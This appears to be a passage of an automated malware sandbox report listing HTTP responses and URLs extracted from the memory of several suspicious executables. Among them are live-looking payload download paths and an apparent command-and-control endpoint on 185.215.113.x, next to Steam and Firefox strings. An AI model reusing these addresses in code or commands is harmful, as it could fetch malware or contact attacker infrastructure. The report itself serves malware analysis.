Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 21 Oct 2024 08:47:30 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Tc7tFFcVZEzc%2FnQd8r1bsTfpC7ayHp3FLfiw5rqAWeN9GsBY7%2BMJCjdVa57IfPxf60w%2FuruuORJHqhtlmmJlJIiyJPrXWVav7IEuguirgIJWMzVbktYDuOBKw6DrnYhSE7vEyw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d5ffbb49a036c68-DFW
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 21 Oct 2024 08:47:33 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7bpS8KZNDIQ5YrkIBuKdSsKrDw5Fg%2FMX7bnuI09yYGpRI7pcZ93kx%2FGd7jle4mh1h7Rt0CM9%2FQCt%2FkRVf4nZhzD0Ygu684j%2FXJYI1G5vm%2BgO5WiP8Ckh7D847e3Pm2IEe%2BuUdA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d5ffbc7cba22e2d-DFW
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 21 Oct 2024 08:47:39 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=s3bF26MF69tp3vRbY5k4wsFnU4EX7VRpVJQ3OLs4SuLmgAH4zMDyY0%2FYDCjRDZRzz2zOhNw4aj9FMnGmy553cFplih0fabFah5q%2BvegH09RuuoHtn9TRT8pVw7RI3oKLuPdiAg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d5ffbf13c282e2a-DFW
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 21 Oct 2024 08:48:06 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SrYvfE7Xv6Ye4xXcYRUHsAaSzjyRi9G5LqbmMo3OZIpztSdQaqeamV9TIZDMFxOBQvoguoGZ333anYC59uKUr3XHh%2B%2BAAgCW89L8fsQsKw0ppgTXaCnadINKyzQcr3HZMxcwdw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d5ffc95dc0e2ff0-DFW
Source: firefox.exe, 00000015.00000003.2257664094.0000016C133B9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://127.0.0.1:
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://127.0.0.1:27060
Source: 9b7d422018.exe, 0000001B.00000003.2753876389.00000000013E5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000003.1935526477.000000000117F000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2757413943.0000000005C7E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: skotes.exe, 0000001A.00000003.2582182685.00000000010BC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 0000001A.00000003.2582182685.00000000010BC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/steam/random.exe1395d7d2
Source: skotes.exe, 0000001A.00000003.2582655571.00000000010DB000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001A.00000003.2580325625.00000000010D7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/steam/random.exeAA
Source: skotes.exe, 0000001A.00000003.2582182685.00000000010BC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/steam/random.exeSSC:
Source: skotes.exe, 0000001A.00000003.2582182685.00000000010BC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/steam/random.exe_2
Source: file.exe, 00000000.00000003.1907695359.000000000117F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1907475533.000000000117F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1935831828.000000000117F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1935526477.000000000117F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/well/random.exe
Source: file.exe, 00000000.00000003.1907695359.000000000117F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1907475533.000000000117F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1935831828.000000000117F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1935526477.000000000117F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/well/random.exeo
Source: 2SGVUOBNN8HUJ5IDUWDR.exe, 00000005.00000002.2018712673.0000000000F7E000.00000004.00000020.00020000.00000000.sdmp, a4769912c1.exe, 0000001C.00000002.2540654902.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, 7617eef03d.exe, 00000020.00000002.2660406251.0000000000F4E000.00000004.00000020.00020000.00000000.sdmp, 7617eef03d.exe, 00000020.00000002.2660406251.0000000000FBF000.00000004.00000020.00020000.00000000.sdmp, a4769912c1.exe, 00000022.00000002.2749978243.00000000006BB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37
Source: 2SGVUOBNN8HUJ5IDUWDR.exe, 00000005.00000002.2018712673.0000000000FE1000.00000004.00000020.00020000.00000000.sdmp, a4769912c1.exe, 0000001C.00000002.2540654902.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, a4769912c1.exe, 0000001C.00000002.2540654902.0000000000BDF000.00000004.00000020.00020000.00000000.sdmp, 7617eef03d.exe, 00000020.00000002.2660406251.0000000000F4E000.00000004.00000020.00020000.00000000.sdmp, 7617eef03d.exe, 00000020.00000002.2660406251.0000000000FBF000.00000004.00000020.00020000.00000000.sdmp, 7617eef03d.exe, 00000020.00000002.2660406251.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp, a4769912c1.exe, 00000022.00000002.2749978243.000000000070D000.00000004.00000020.00020000.00000000.sdmp, a4769912c1.exe, 00000022.00000002.2749978243.00000000006BB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/
Source: 2SGVUOBNN8HUJ5IDUWDR.exe, 00000005.00000002.2018712673.0000000000F7E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/$
Source: 7617eef03d.exe, 00000020.00000002.2660406251.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/5
Source: 7617eef03d.exe, 00000020.00000002.2660406251.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/Local
Source: a4769912c1.exe, 00000022.00000002.2749978243.000000000070D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/_G
Source: a4769912c1.exe, 00000022.00000002.2749978243.000000000070D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/be
Source: a4769912c1.exe, 00000022.00000002.2749978243.00000000006BB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/d
Source: a4769912c1.exe, 00000022.00000002.2749978243.000000000070D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: 2SGVUOBNN8HUJ5IDUWDR.exe, 00000005.00000002.2018712673.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php%
Source: 7617eef03d.exe, 00000020.00000002.2660406251.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php&
Source: a4769912c1.exe, 0000001C.00000002.2540654902.0000000000BEB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php)
Source: 2SGVUOBNN8HUJ5IDUWDR.exe, 00000005.00000002.2018712673.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp, a4769912c1.exe, 0000001C.00000002.2540654902.0000000000BEB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php1
Source: a4769912c1.exe, 00000022.00000002.2749978243.0000000000727000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php2
Source: 7617eef03d.exe, 00000020.00000002.2660406251.0000000000F4E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php65d60108622213
Source: a4769912c1.exe, 0000001C.00000002.2540654902.0000000000BEB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php=
Source: 2SGVUOBNN8HUJ5IDUWDR.exe, 00000005.00000002.2018712673.0000000000FE1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpH
Source: a4769912c1.exe, 00000022.00000002.2749978243.000000000070D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpLe
Source: 7617eef03d.exe, 00000020.00000002.2660406251.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpN
Source: 2SGVUOBNN8HUJ5IDUWDR.exe, 00000005.00000002.2018712673.0000000000FE1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpO
Source: a4769912c1.exe, 0000001C.00000002.2540654902.0000000000BD8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpWindows
Source: a4769912c1.exe, 0000001C.00000002.2540654902.0000000000BEB000.00000004.00000020.00020000.00000000.sdmp, 7617eef03d.exe, 00000020.00000002.2660406251.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpa
Source: a4769912c1.exe, 00000022.00000002.2749978243.000000000070D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpcd
Source: 7617eef03d.exe, 00000020.00000002.2660406251.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phph
Source: 2SGVUOBNN8HUJ5IDUWDR.exe, 00000005.00000002.2018712673.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpi
Source: a4769912c1.exe, 0000001C.00000002.2540654902.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpp3
Source: 7617eef03d.exe, 00000020.00000002.2660406251.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpv
Source: a4769912c1.exe, 0000001C.00000002.2540654902.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/ws
Source: 2SGVUOBNN8HUJ5IDUWDR.exe, 00000005.00000002.2018712673.0000000000FE1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/z
Source: a4769912c1.exe, 00000022.00000002.2749978243.000000000070D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/~e
Source: 2SGVUOBNN8HUJ5IDUWDR.exe, 00000005.00000002.2018712673.0000000000F7E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37CDDG
Source: a4769912c1.exe, 0000001C.00000002.2540654902.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37E$
Source: firefox.exe, 00000015.00000003.2085311564.0000016C0DADD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 00000015.00000003.2085311564.0000016C0DADD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 00000015.00000003.2085311564.0000016C0DADD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 00000015.00000003.2085311564.0000016C0DADD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: file.exe, 00000000.00000003.1803184428.00000000059BD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2549507609.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2682859541.00000000053B0000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2725419563.000000000537B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2788196494.000000000566D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1803184428.00000000059BD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2549507609.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2682859541.00000000053B0000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2725419563.000000000537B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2788196494.000000000566D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.1803184428.00000000059BD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2549507609.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2682859541.00000000053B0000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2725419563.000000000537B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2788196494.000000000566D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1803184428.00000000059BD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2549507609.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2682859541.00000000053B0000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2725419563.000000000537B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2788196494.000000000566D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1803184428.00000000059BD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2549507609.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2682859541.00000000053B0000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2725419563.000000000537B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2788196494.000000000566D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1803184428.00000000059BD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2549507609.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2682859541.00000000053B0000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2725419563.000000000537B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2788196494.000000000566D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1803184428.00000000059BD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2549507609.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2682859541.00000000053B0000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2725419563.000000000537B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2788196494.000000000566D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 00000015.00000003.2083482894.0000016C1390C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 00000015.00000003.2207474887.0000016C0CDC4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/
Source: firefox.exe, 00000015.00000003.2242930006.0000016C0EAEC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2205425743.0000016C0D8B6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000015.00000003.2255040636.0000016C139B9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 00000015.00000003.2255040636.0000016C139B9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 00000015.00000003.2249656043.0000016C7FE12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2249656043.0000016C7FE2C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2242930006.0000016C0EACA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 00000015.00000003.2249656043.0000016C7FE12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2249656043.0000016C7FE2C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2242930006.0000016C0EACA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 00000015.00000003.2196521682.0000016C7F58A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2250905001.0000016C7F58A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2173865991.0000016C7F58A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 00000015.00000003.2196521682.0000016C7F561000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2173865991.0000016C7F561000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2251829883.0000016C7F561000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/dates-and-times
Source: firefox.exe, 00000015.00000003.2196521682.0000016C7F58A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2250905001.0000016C7F58A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2173865991.0000016C7F58A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 00000015.00000003.2196521682.0000016C7F561000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2173865991.0000016C7F561000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2251829883.0000016C7F561000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/regular-expressions0
Source: firefox.exe, 00000015.00000003.2196521682.0000016C7F58A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2250905001.0000016C7F58A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2173865991.0000016C7F58A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 00000015.00000003.2131771251.0000016C0C45C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2133545551.0000016C0C46F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2177922932.0000016C0C474000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org
Source: firefox.exe, 00000015.00000003.2097762533.0000016C0C7D1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2150730540.0000016C0C7CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2243880064.0000016C0EA9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2147444517.0000016C0CA66000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2149323007.0000016C0CA1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2198338235.0000016C164A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2212566363.0000016C0C857000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2096727964.0000016C0BCC3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2124955286.0000016C1351A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2108269724.0000016C0B7FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2108269724.0000016C0B7DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2041169151.0000016C0B7EF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2113165571.0000016C0EDE9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2069864093.0000016C134ED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2212877729.0000016C0C8C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2228003107.0000016C164A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2069864093.0000016C134C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2244680929.0000016C0EA6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2108269724.0000016C0B7EA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2187044030.0000016C0B7F4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2150730540.0000016C0C7D6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: file.exe, 00000000.00000003.1803184428.00000000059BD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2549507609.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2682859541.00000000053B0000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2725419563.000000000537B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2788196494.000000000566D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1803184428.00000000059BD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2549507609.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2682859541.00000000053B0000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2725419563.000000000537B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2788196494.000000000566D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: 48bf814d33.exe, 0000001E.00000003.2612938449.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2648912565.0000000000C4F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://store.steampowered.com/acco
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2503534834.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2602087870.00000000013F3000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000002.2803946983.00000000006C5000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803470311.0000000000CFE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2503534834.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2602087870.00000000013F3000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000002.2803946983.00000000006C5000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803470311.0000000000CFE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: 48bf814d33.exe, 0000001E.00000003.2612938449.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://store.steampowered.com/subsD
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2503534834.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2602087870.00000000013F3000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000002.2803946983.00000000006C5000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803470311.0000000000CFE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
